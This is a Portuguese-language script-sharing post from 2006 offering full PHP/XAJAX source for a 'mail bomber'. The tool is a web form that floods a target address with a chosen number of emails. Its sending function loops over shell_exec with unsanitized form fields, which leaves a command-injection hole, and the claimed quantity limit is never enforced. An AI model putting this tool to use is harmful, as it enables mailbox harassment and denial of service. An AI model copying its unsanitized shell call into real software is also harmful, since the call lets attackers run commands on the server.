Mail BomBer 1.0

Publicado por Thiago Fernandes de Melo 16/08/2006

[ Hits: 5.519 ]

Homepage: http://www.hospedarfacil.com.br

Download xajax.inc.php




Ae galera, fiz um mailbomber com XAJAX e PHP. Espero que lhes sirvam pra alguma coisa, pelo menos pra galerinha que tá querendo aprender AJAX. XAJAX é um framework pra trabalhar com AJAX no PHP. []´s. PS.: tem que ter algum servidor de e-mail no PC, Postfix ou Sendmail. Obs.: Tem que salvar os 2 arquivos, faça o download do XAJAX e salva o código-fonte com extensão .php.

  



Esconder código-fonte

<?
require_once("xajax.inc.php");
function limp()
{
$objResponse = new xajaxResponse();

        if($a['qts'] < 100)
                $Resposta = "";

$objResponse->addAssign("checando","innerHTML", $Resposta);
return $objResponse->getXML();
}
//////////////////////////////////////////////////
function check($a)
{
$objResponse = new xajaxResponse();
   
   if($a['qts'] > 10)
      $Resposta = "<font size=2 color=red><b>*A quantidade Excede o Limite.</b></font>";
   
$objResponse->addAssign("checando","innerHTML", $Resposta);

return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkdestino($a)
{
$objResponse = new xajaxResponse();

        if($a['destino'] == "")
                $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";

$objResponse->addAssign("checando1","innerHTML", $Resposta);

return $objResponse->getXML();
}
//////////////////////////////////////////////////
function checkassunto($a)
{
$objResponse = new xajaxResponse();

        if($a['assunto'] == "")
                $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>";

$objResponse->addAssign("checando2","innerHTML", $Resposta);

return $objResponse->getXML();
}
//////////////////////////////////////////////////
function flood($a)
{
$objResponse = new xajaxResponse();
      
   $Rss = "<b>Msg: </b>" .$a['destino']. "<br><b>Qts: </b>" .$a['qts']. "<br><b>Ass: </b>" .$a['assunto']. "</b><br><b>Msg: </b>" .$a['msg']. " ";
      
   $objResponse->addAssign("Resultado","innerHTML", nl2br(print_r($Rss, true)));


    return $objResponse->getXML();


}
///////////////////////////////////////////////////
function fdnow($a)
{
$objResponse = new xajaxResponse();
   $s = $a['qts'];
   $as = $a['assunto'];
   $dss = $a['msg'];
   $ds = $a['destino'];
   for($i = 0; $i<$s;$i++){
      $Send[$i] = "Enviando " .$i. " de " .$s. "";
      shell_exec("echo $as |mail -s $dss $ds");
}
   $objResponse->addAssign("fding","innerHTML", print_r($Send, true));

    return $objResponse->getXML();


}
///////////////////////////////////////////////////

$xajax = new xajax();
$xajax->registerFunction("flood");
$xajax->registerFunction("check");
$xajax->registerFunction("checkdestino");
$xajax->registerFunction("checkassunto");
$xajax->registerFunction("limp");
$xajax->registerFunction("fdnow");
$xajax->processRequests();

?>
<html>
<head>
<? $xajax->printJavascript(); ?>
</head>
<body>
<form name=tx><table>
<tr><td>Destino:</td><td><input type=text name=destino onblur="xajax_checkdestino(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando1"></div></td></tr>
<tr><td>Assunto:</td><td><input type=text name=assunto  onblur="xajax_checkassunto(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando2"></div></tr>
<tr><td>Quantos:</td><td><input type=text name=qts onblur="xajax_check(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando"></div></td></tr>
<tr><td>Msg:</td><td><textarea name=msg></textarea></td></tr>
<tr><td><input type=button name=send value=Flood onclick=" xajax_fdnow(xajax.getFormValues('tx',true)); return false"></td></tr></table><table>
<tr><td><div id="fding">Aguardando...</div></td></tr>

</form>
</body>
</html>

Scripts recomendados

evePHP: Classe para desenvolvimento PHP

Menu Dinâmico Horizontal

Xajax - FrameWork

Validação de CPF usando PHP

WebMail


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts